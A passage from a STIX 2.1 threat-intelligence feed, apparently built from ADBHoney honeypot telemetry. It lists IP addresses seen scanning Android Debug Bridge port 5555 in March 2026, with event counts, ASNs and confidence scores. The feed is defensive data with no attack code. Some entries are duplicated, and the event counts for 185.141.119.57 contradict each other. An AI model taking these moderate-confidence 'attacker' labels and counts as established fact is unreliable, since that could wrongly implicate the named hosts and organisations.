      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-27T10:05:14.000Z | last_seen=2026-03-27T10:15:27.197Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd.",
      "id": "indicator--21cba102-5302-4cec-9018-49c6110abc71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.186.240.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:00:06.000Z",
      "valid_until": "2026-04-28T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-27T10:05:14.000Z",
          "last_seen": "2026-03-27T10:15:27.197Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T11:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T10:11:58.000Z | last_seen=2026-03-27T10:12:59.846Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f9ed24c8-bde9-438c-b24b-7b6c41634b0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:00:06.000Z",
      "valid_until": "2026-04-28T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T10:11:58.000Z",
          "last_seen": "2026-03-27T10:12:59.846Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T13:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=JP; asn=212238; asn_org=Datacamp Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-27T12:30:22.000Z | last_seen=2026-03-27T12:36:30.016Z | ports=5555 | cc=JP | asn=212238 | org=Datacamp Limited",
      "id": "indicator--c0579ad1-8cc3-45d9-905c-5a89d0b57842",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.199.21.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T13:00:05.000Z",
      "valid_until": "2026-04-28T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-27T12:30:22.000Z",
          "last_seen": "2026-03-27T12:36:30.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "212238"
          ],
          "org": [
            "Datacamp Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T13:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=20115; asn_org=Charter Communications LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-27T12:26:58.000Z | last_seen=2026-03-27T12:31:58.471Z | ports=5555 | cc=US | asn=20115 | org=Charter Communications LLC",
      "id": "indicator--46c9b366-aefb-4bfe-af18-0e3040f6ab9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '75.130.144.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T13:00:05.000Z",
      "valid_until": "2026-04-28T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-27T12:26:58.000Z",
          "last_seen": "2026-03-27T12:31:58.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20115"
          ],
          "org": [
            "Charter Communications LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=74 | first_seen=2026-03-27T14:48:59.000Z | last_seen=2026-03-31T08:53:17.745Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--431857a4-fd5a-4218-8709-3ba9ad5b8e7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:00:03.000Z",
      "valid_until": "2026-04-28T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 74,
          "first_seen": "2026-03-27T14:48:59.000Z",
          "last_seen": "2026-03-31T08:53:17.745Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-27T14:20:42.000Z | last_seen=2026-03-27T14:31:16.229Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:00:03.000Z",
      "valid_until": "2026-04-28T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-27T14:20:42.000Z",
          "last_seen": "2026-03-27T14:31:16.229Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T15:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=74 | first_seen=2026-03-27T14:48:59.000Z | last_seen=2026-03-31T08:53:17.745Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--431857a4-fd5a-4218-8709-3ba9ad5b8e7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:00:06.000Z",
      "valid_until": "2026-04-28T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 74,
          "first_seen": "2026-03-27T14:48:59.000Z",
          "last_seen": "2026-03-31T08:53:17.745Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T15:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-27T14:20:42.000Z | last_seen=2026-03-27T14:31:16.229Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:00:06.000Z",
      "valid_until": "2026-04-28T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-27T14:20:42.000Z",
          "last_seen": "2026-03-27T14:31:16.229Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-27T15:47:46.000Z | last_seen=2026-03-27T15:48:53.524Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.236.111.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:00:04.000Z",
      "valid_until": "2026-04-28T16:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-27T15:47:46.000Z",
          "last_seen": "2026-03-27T15:48:53.524Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T16:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-27T15:47:46.000Z | last_seen=2026-03-27T15:48:53.524Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.236.111.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:00:05.000Z",
      "valid_until": "2026-04-28T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-27T15:47:46.000Z",
          "last_seen": "2026-03-27T15:48:53.524Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-27T18:36:18.000Z | last_seen=2026-03-27T18:46:20.190Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:00:03.000Z",
      "valid_until": "2026-04-28T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-27T18:36:18.000Z",
          "last_seen": "2026-03-27T18:46:20.190Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-27T18:40:23.000Z | last_seen=2026-03-27T18:41:46.420Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--4bc2f410-824a-4734-aa39-c6ff63ac496d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:00:03.000Z",
      "valid_until": "2026-04-28T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-27T18:40:23.000Z",
          "last_seen": "2026-03-27T18:41:46.420Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=30036; asn_org=Mediacom Communications Corp; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-27T19:44:12.000Z | last_seen=2026-03-27T19:54:24.209Z | ports=5555 | cc=US | asn=30036 | org=Mediacom Communications Corp",
      "id": "indicator--2b9f4693-eb76-4991-b4f9-fd699027ff5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.22.214.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T20:00:03.000Z",
      "valid_until": "2026-04-28T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-27T19:44:12.000Z",
          "last_seen": "2026-03-27T19:54:24.209Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "30036"
          ],
          "org": [
            "Mediacom Communications Corp"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T20:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=30036; asn_org=Mediacom Communications Corp; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-27T19:44:12.000Z | last_seen=2026-03-27T19:54:24.209Z | ports=5555 | cc=US | asn=30036 | org=Mediacom Communications Corp",
      "id": "indicator--2b9f4693-eb76-4991-b4f9-fd699027ff5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.22.214.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T20:00:04.000Z",
      "valid_until": "2026-04-28T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-27T19:44:12.000Z",
          "last_seen": "2026-03-27T19:54:24.209Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "30036"
          ],
          "org": [
            "Mediacom Communications Corp"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-27T20:35:58.000Z | last_seen=2026-03-27T20:37:04.440Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T21:00:02.000Z",
      "valid_until": "2026-04-28T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-27T20:35:58.000Z",
          "last_seen": "2026-03-27T20:37:04.440Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T21:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-27T20:35:58.000Z | last_seen=2026-03-27T20:37:04.440Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T21:00:05.000Z",
      "valid_until": "2026-04-28T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-27T20:35:58.000Z",
          "last_seen": "2026-03-27T20:37:04.440Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T21:36:06.000Z | last_seen=2026-03-27T21:37:07.603Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--315f3e1a-38f1-4fd1-a80a-421d651b0aa5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
